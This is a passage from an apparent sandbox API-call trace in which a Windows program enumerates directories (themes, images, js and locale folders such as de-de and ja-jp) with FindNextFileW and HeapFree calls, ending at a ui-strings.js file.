hFindFile=0x4531c40) returned 1 [0189.862] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0189.862] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x2eae69c | out: lpFindFileData=0x2eae69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="my-recent-files-select", cAlternateFileName="MY-REC~1")) returned 1 [0189.863] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0189.863] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0189.863] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0189.863] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0189.863] FindClose (in: hFindFile=0x72a448 | out: hFindFile=0x72a448) returned 1 [0189.863] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0189.863] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x2eae69c | out: lpFindFileData=0x2eae69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ob-preview", cAlternateFileName="OB-PRE~1")) returned 1 [0189.864] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0189.864] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee943fc4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0189.869] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0189.869] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee920b4a, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee920b4a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee943fc4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0 [0189.869] FindClose (in: hFindFile=0x72a708 | out: hFindFile=0x72a708) returned 1 [0189.869] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0189.869] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee920b4a, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee920b4a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee920b4a, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 0 [0189.869] FindClose (in: hFindFile=0x72a588 | out: hFindFile=0x72a588) returned 1 [0189.869] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0189.869] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee943fc4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee943fc4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0189.870] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0189.870] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee943fc4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee943fc4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee943fc4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1 [0189.870] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0189.870] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee943fc4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee943fc4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee943fc4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1 [0189.870] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0189.870] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee943fc4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee943fc4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee943fc4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1 [0189.870] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0189.870] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1 [0189.871] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0189.871] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1 [0189.871] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0189.871] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1 [0189.871] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0189.871] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1 [0189.871] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0189.871] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0189.871] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0189.871] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1 [0189.872] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0189.872] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0189.872] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0189.872] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0189.872] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0189.873] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1 [0189.873] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0189.873] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee943fc4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee943fc4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee943fc4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1 [0189.873] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0189.873] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1 [0189.873] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0189.873] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1 [0189.873] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0189.873] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1 [0189.874] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0189.874] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0189.874] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0189.874] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1 [0189.875] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0189.875] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1 [0189.876] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0189.876] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0189.876] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0189.876] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1 [0189.876] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0189.876] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1 [0189.876] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0189.876] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1 [0189.876] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0189.877] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0189.877] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0189.877] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee943fc4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee943fc4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee943fc4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1 [0189.877] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0189.877] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee943fc4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee943fc4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee943fc4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1 [0189.877] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0189.877] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1 [0189.877] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0189.877] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1 [0189.878] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0189.878] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee943fc4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee943fc4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee943fc4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1 [0189.878] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0189.878] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1 [0189.878] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0189.878] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee943fc4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee943fc4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee943fc4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0189.879] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: 